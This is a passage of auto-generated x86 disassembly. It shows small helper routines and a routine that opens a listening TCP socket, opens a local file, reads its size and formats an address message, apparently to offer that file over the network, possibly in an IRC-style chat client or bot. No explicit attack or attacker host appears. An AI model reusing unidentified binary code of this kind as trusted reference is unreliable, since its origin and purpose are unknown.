		lea	ecx, [esp+88h+var_18]
		call	sub_13AB76B
		test	al, al
		jz	loc_13B5E0B


loc_13B5D76:				; CODE XREF: sub_13B5CD0+135j
		lea	ecx, [esp+88h+var_1C]
		inc	edi
		call	sub_13AC35A
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+8Ch+var_1C]
		call	sub_13AC35A
		mov	ecx, [eax]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+90h+var_1C]
		call	sub_13AC35A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_13ABBE4
		push	eax
		push	edi
		push	4439A0h
		mov	ecx, ebx
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 24h
		push	5DCh
		call	Sleep	; Sleep
		lea	ecx, [esp+8Ch+var_20]
		call	sub_13AB73E
		lea	ecx, [esp+8Ch+var_7C]
		push	ecx
		mov	ecx, ebp
		call	sub_13AC071
		push	eax
		lea	ecx, [esp+94h+var_24]
		call	sub_13AB76B
		test	al, al
		jnz	loc_13B5D76


loc_13B5E0B:				; CODE XREF: sub_13B5CD0+A0j
		mov	al, 1
		jmp	loc_13B5F9A
; ---------------------------------------------------------------------------


loc_13B5E12:				; CODE XREF: sub_13B5CD0+37j
		lea	ecx, [ebp+32h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13B5EA5
		push	offset dword_443600
		lea	edx, [esp+74h+var_44]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+84h+var_18], 0
		call	sub_13ABDCE
		lea	ecx, [esp+84h+var_58]
		mov	edi, eax
		mov	[esp+84h+var_20], 0FFFFFFFFh
		call	sub_13AB626
		test	edi, edi
		jz	loc_13B5F98
		mov	ecx, edi
		call	sub_13ABBE4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_13ABBE4
		push	eax
		push	443994h
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 1Ch
		jmp	loc_13B5F9A
; ---------------------------------------------------------------------------


loc_13B5EA5:				; CODE XREF: sub_13B5CD0+154j
		lea	ecx, [ebp+60h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13B5F98
		push	offset dword_443600
		lea	edx, [esp+78h+var_48]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+88h+var_1C], 1
		call	sub_13ABDCE
		lea	ecx, [esp+88h+var_5C]
		mov	edi, eax
		mov	[esp+88h+var_24], 0FFFFFFFFh
		call	sub_13AB626
		test	edi, edi
		jz	loc_13B5F98
		push	edi
		lea	ecx, [esp+8Ch+var_74]
		call	sub_13AB8C9
		mov	ebx, 2
		push	1
		push	offset dword_443600
		lea	eax, [esp+94h+var_48]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+9Ch+var_28], ebx
		call	sub_13AB5EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	[esp+0A4h+var_38], 3
		call	sub_13AC332
		lea	ecx, [esp+0A4h+var_60]
		mov	byte ptr [esp+0A4h+var_40], bl
		call	sub_13AB626
		lea	ecx, [esp+0A4h+var_90]
		call	sub_13ABBE4
		push	eax
		mov	ecx, edi
		call	sub_13ABBE4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_13ABBE4
		push	eax
		push	443978h
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 20h
		lea	ecx, [esp+0A4h+var_90]
		mov	[esp+0A4h+var_40], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1
		jmp	short loc_13B5F9A
; ---------------------------------------------------------------------------


loc_13B5F98:				; CODE XREF: sub_13B5CD0+190j
					; sub_13B5CD0+1E7j ...
		xor	al, al


loc_13B5F9A:				; CODE XREF: sub_13B5CD0+13Dj
					; sub_13B5CD0+1D0j ...
		mov	ecx, [esp+84h+var_28]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
sub_13B5CD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6070	proc near		; CODE XREF: sub_13ABFF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_13AC5CB
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_13B6070	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B60B0	proc near		; CODE XREF: sub_13AB955j

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AC071
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13AB851
		mov	eax, [eax]
		lea	ecx, [esp+1Ch+var_C]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AB64E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_13AC3CD
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_13B60B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6120	proc near		; CODE XREF: sub_13AB851j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_13AC4F9
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_13AB8A6
		mov	eax, esi
		pop	esi
		retn	4
sub_13B6120	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6160	proc near		; CODE XREF: sub_13AC071j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_13AB8A6
		mov	eax, esi
		pop	esi
		retn	4
sub_13B6160	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6190	proc near		; CODE XREF: sub_13ABD06j

var_8		= byte ptr -8
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_13AC071
		mov	edx, [eax]
		lea	eax, [esp+10h+var_8]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AC049
		pop	esi
		pop	ecx
		retn	4
sub_13B6190	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B61D0	proc near		; CODE XREF: sub_13ABFEFj

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AC071
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13AB851
		mov	eax, [eax]
		lea	ecx, [esp+1Ch+var_C]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AB64E
		pop	esi
		add	esp, 0Ch
		retn
sub_13B61D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6220	proc near		; CODE XREF: sub_13AB93Cj
		push	esi
		mov	esi, ecx
		call	sub_13AC53A
		mov	eax, esi
		pop	esi
		retn
sub_13B6220	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6240	proc near		; CODE XREF: sub_13AC35Aj
		mov	eax, [ecx]
		push	eax
		call	sub_13ABC39
		add	esp, 4
		retn
sub_13B6240	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6260	proc near		; CODE XREF: sub_13AB73Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_13AC4F9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_13B6260	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6290	proc near		; CODE XREF: sub_13AB76Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13AC0E9
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_13B6290	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B62C0	proc near		; CODE XREF: sub_13AC049j

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_13ABAA4
		mov	edi, eax
		push	edi
		call	sub_13AC53F
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_13AC5CB
		push	edi
		mov	ebx, eax
		call	sub_13AC53F
		push	edi
		mov	[eax], ebx
		call	sub_13AC53F
		mov	edi, [eax]
		push	edi
		call	sub_13AC53F
		mov	ecx, [eax]
		push	ecx
		call	sub_13AC4F9
		mov	edx, [esp+24h+arg_0]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_13ABC39
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_13AC314
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+20h+var_C]
		mov	ecx, esi
		call	sub_13AB8A6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_13B62C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6360	proc near		; CODE XREF: sub_13AB64Ej

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_13AB76B
		test	al, al
		jz	short loc_13B63BA


loc_13B6378:				; CODE XREF: sub_13B6360+47j
		lea	ecx, [esp+10h+var_C]
		push	0
		push	ecx
		lea	ecx, [esp+18h+arg_0]
		call	sub_13ABF86
		mov	edx, [eax]
		lea	eax, [esp+18h+var_10]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AB46E
		lea	ecx, [esp+20h+var_8]
		push	ecx
		lea	ecx, [esp+24h+var_C]
		call	sub_13AB76B
		test	al, al
		jnz	short loc_13B6378
		mov	eax, [esp+24h+var_14]
		mov	edx, [esp+24h+var_10]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13B63BA:				; CODE XREF: sub_13B6360+16j
		mov	eax, [esp+10h]
		mov	ecx, [esp+10h+arg_0]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_13B6360	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B63F0	proc near		; CODE XREF: sub_13AC5CBj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0Ch
		call	sub_13AB95F
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_13B6405
		mov	edi, esi


loc_13B6405:				; CODE XREF: sub_13B63F0+11j
		push	esi
		call	sub_13AC4F9
		mov	[eax], edi
		mov	edi, [esp+10h+arg_0]
		add	esp, 4
		test	edi, edi
		jnz	short loc_13B641A
		mov	edi, esi


loc_13B641A:				; CODE XREF: sub_13B63F0+26j
		push	esi
		call	sub_13AC53F
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_13B63F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6440	proc near		; CODE XREF: sub_13AC3CDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_13AC459
		retn	4
sub_13B6440	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6460	proc near		; CODE XREF: sub_13AC4F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_13B6460	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6480	proc near		; CODE XREF: sub_13ABC39j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_13B6480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B64A0	proc near		; CODE XREF: sub_13AC53Aj
		mov	eax, ecx
		retn
sub_13B64A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B64C0	proc near		; CODE XREF: sub_13AB8A6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AB45A
		mov	eax, esi
		pop	esi
		retn	4
sub_13B64C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B64F0	proc near		; CODE XREF: sub_13AC0E9j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_13B64F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6520	proc near		; CODE XREF: sub_13AB46Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_13ABF86
		mov	ecx, eax
		call	sub_13ABAA4
		mov	esi, eax
		push	esi
		call	sub_13AC4F9
		push	esi
		mov	ebx, eax
		call	sub_13AC53F
		mov	ecx, [eax]
		push	ecx
		call	sub_13AC4F9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_13AC53F
		push	esi
		mov	ebx, eax
		call	sub_13AC4F9
		mov	eax, [eax]
		push	eax
		call	sub_13AC53F
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_13ABC39
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_13AB621
		push	esi
		mov	ecx, edi
		call	sub_13AC3CD
		mov	eax, [edi+8]
		mov	edx, [esp+20h+var_8]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+20h+var_C]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_13B6520	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B65E0	proc near		; CODE XREF: sub_13AC53Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_13B65E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6600	proc near		; CODE XREF: sub_13AB95Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AC116
		add	esp, 8
		retn	4
sub_13B6600	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6630	proc near		; CODE XREF: sub_13AC459j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 13E0C02h
		pop	ecx
		retn	8
sub_13B6630	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6650	proc near		; CODE XREF: sub_13AC314j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13AB5AE
		add	esp, 8
		retn	8
sub_13B6650	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6680	proc near		; CODE XREF: sub_13AB45Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_13B6680	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B66A0	proc near		; CODE XREF: sub_13ABAA4j
		mov	eax, [ecx]
		retn
sub_13B66A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B66C0	proc near		; CODE XREF: sub_13ABF86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_13AB73E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_13B66C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B66F0	proc near		; CODE XREF: sub_13AB621j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_13B66F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6710	proc near		; CODE XREF: sub_13AB5AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_13AB5CC
		add	esp, 8
		test	eax, eax
		jz	short locret_13B672B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_13B672B:				; CODE XREF: sub_13B6710+11j
		retn
sub_13B6710	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6760	proc near		; CODE XREF: sub_13ABFE5j

var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438C78h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_13ABDB5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_13ABA81
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+34h+var_30]
		mov	[esp+34h+var_10], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+34h+var_18]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_13B6760	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6800	proc near		; CODE XREF: sub_13ABB12j

var_114		= dword	ptr -114h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_C4		= byte ptr -0C4h
var_BC		= byte ptr -0BCh
var_B4		= dword	ptr -0B4h
var_AC		= byte ptr -0ACh
var_A4		= dword	ptr -0A4h
var_94		= dword	ptr -94h
var_90		= byte ptr -90h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_74		= dword	ptr -74h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_5C		= dword	ptr -5Ch
var_48		= byte ptr -48h
var_3E		= dword	ptr -3Eh
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_AC		= byte ptr  0B0h
arg_BC		= byte ptr  0C0h
arg_D0		= byte ptr  0D4h
arg_E0		= byte ptr  0E4h
arg_548		= byte ptr  54Ch
arg_64C		= byte ptr  650h
arg_2D28	= byte ptr  2D2Ch
arg_2D7C	= byte ptr  2D80h
arg_5384	= dword	ptr  5388h
arg_53AC	= dword	ptr  53B0h
arg_53B0	= byte ptr  53B4h
arg_53C4	= byte ptr  53C8h
arg_53D0	= dword	ptr  53D4h
arg_5448	= byte ptr  544Ch
arg_54A0	= byte ptr  54A4h
arg_54A4	= byte ptr  54A8h
arg_54B4	= dword	ptr  54B8h
arg_54C0	= dword	ptr  54C4h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	438CBCh
		push	eax
		mov	eax, 54C0h
		mov	large fs:0, esp
		call	near ptr 13E0C60h
		push	ebx
		push	ebp
		push	esi
		push	edi
		add	ecx, 4
		call	sub_13AB8D3
		mov	ebp, [esp+1Ch+arg_54C0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13B6D52
		lea	ecx, [esp+20h+arg_20]
		call	sub_13AB491
		push	1
		push	offset dword_443600
		lea	eax, [esp+28h+arg_5C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+30h+arg_54B4], esi
		call	sub_13AB5EA
		push	eax
		lea	ecx, [esp+34h+arg_18]
		mov	[esp+34h+arg_54A4], 1
		call	sub_13AC40E
		lea	ecx, [esp+34h+arg_48]
		mov	[esp+34h+arg_54A0], 0
		call	sub_13AB626
		push	esi
		push	1
		push	2
		mov	[esp+40h+var_20], esi
		mov	[esp+40h+var_1C], esi
		mov	[esp+40h+var_8], esi
		call	socket	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+40h+var_30], ebx
		jnz	short loc_13B68D0
		lea	ecx, [esp+40h+arg_2D7C]
		push	offset dword_443AD8
		push	ecx
		call	wsprintfA	; wsprintfA
		add	esp, 8
		jmp	loc_13B6CF9
; ---------------------------------------------------------------------------


loc_13B68D0:				; CODE XREF: sub_13B6800+B3j
		xor	edx, edx
		push	esi
		mov	[esp+44h+var_24], edx
		mov	word ptr [esp+44h+var_24], 2
		mov	[esp+44h+var_20], edx
		mov	[esp+44h+var_1C], edx
		mov	[esp+44h+var_18], edx
		call	htons	; htons
		mov	[esp+44h+var_26], ax
		lea	eax, [esp+44h+var_28]
		push	10h
		push	eax
		push	ebx
		mov	[esp+50h+var_24], esi
		call	bind	; bind
		test	eax, eax
		jz	short loc_13B691E
		lea	ecx, [ebp+69h]
		call	sub_13AB8D3
		push	eax
		push	offset dword_443AB8
		jmp	loc_13B69C4
; ---------------------------------------------------------------------------


loc_13B691E:				; CODE XREF: sub_13B6800+109j
		lea	eax, [esp+50h+var_1C]
		lea	ecx, [esp+50h+var_34]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+5Ch+var_1C], 10h
		call	getsockname	; getsockname
		mov	edx, [esp+5Ch+var_3E]
		push	edx
		call	htons	; htons
		lea	ecx, [esp+60h+var_14]
		mov	[esp+60h+var_30], eax
		call	sub_13AB8D3
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+60h+arg_64C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_13B6977:				; CODE XREF: sub_13B6800+1A7j
		mov	al, [esp+edx+60h+arg_64C]
		cmp	al, 20h
		jnz	short loc_13B6989
		mov	eax, 5Fh
		jmp	short loc_13B698C
; ---------------------------------------------------------------------------


loc_13B6989:				; CODE XREF: sub_13B6800+180j
		movsx	eax, al


loc_13B698C:				; CODE XREF: sub_13B6800+187j
		mov	[esp+edx+60h+arg_548], al
		lea	edi, [esp+60h+arg_64C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_13B6977
		push	1
		push	ebx
		call	listen	; listen
		test	eax, eax
		jz	short loc_13B69E1
		lea	ecx, [ebp+69h]
		call	sub_13AB8D3
		push	eax
		push	offset dword_443A98


loc_13B69C4:				; CODE XREF: sub_13B6800+119j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		jmp	loc_13B6CF3
; ---------------------------------------------------------------------------


loc_13B69E1:				; CODE XREF: sub_13B6800+1B4j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+80h+var_1C]
		call	sub_13ABBE4
		push	eax
		call	CreateFileA	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_13B6A48
		lea	ecx, [ebp+69h]
		call	sub_13AB8D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset dword_443A7C
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	edx, [esp+94h+arg_2D28]
		push	offset dword_443A5C
		push	edx
		call	wsprintfA	; wsprintfA
		add	esp, 8
		jmp	loc_13B6CF3
; ---------------------------------------------------------------------------


loc_13B6A48:				; CODE XREF: sub_13B6800+205j
		push	0
		push	esi
		call	GetFileSize	; GetFileSize
		lea	ecx, [esp+8Ch+var_24]
		mov	ebx, eax
		call	sub_13AB824
		mov	eax, [esp+8Ch+var_5C]
		push	ebx
		and	eax, 0FFFFh
		mov	[esp+90h+arg_5448], 2
		push	eax
		mov	eax, ds:dword_E19CDD
		push	eax
		call	sub_13AC1F7
		add	esp, 4
		push	eax
		call	inet_addr	; inet_addr
		push	eax
		call	htonl	; htonl
		push	eax
		lea	ecx, [esp+0A0h+var_48]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+0A4h+var_2C]
		push	offset dword_443A40
		push	ecx
		call	sub_13AB42D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_13ABA81
		push	eax
		lea	ecx, [esp+98h+var_2C]
		call	sub_13AB8D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		mov	edi, [esp+0A4h+var_94]
		lea	ecx, [esp+0A4h+var_68]
		push	ecx
		push	0
		lea	edx, [esp+0ACh+arg_0]
		push	0
		push	edx
		push	0
		mov	[esp+0B8h+var_68], 3Ch
		mov	[esp+0B8h+var_64], 0
		mov	[esp+0B8h+arg_4], edi
		mov	[esp+0B8h+arg_0], 1
		call	select	; select
		test	eax, eax
		jg	short loc_13B6B41
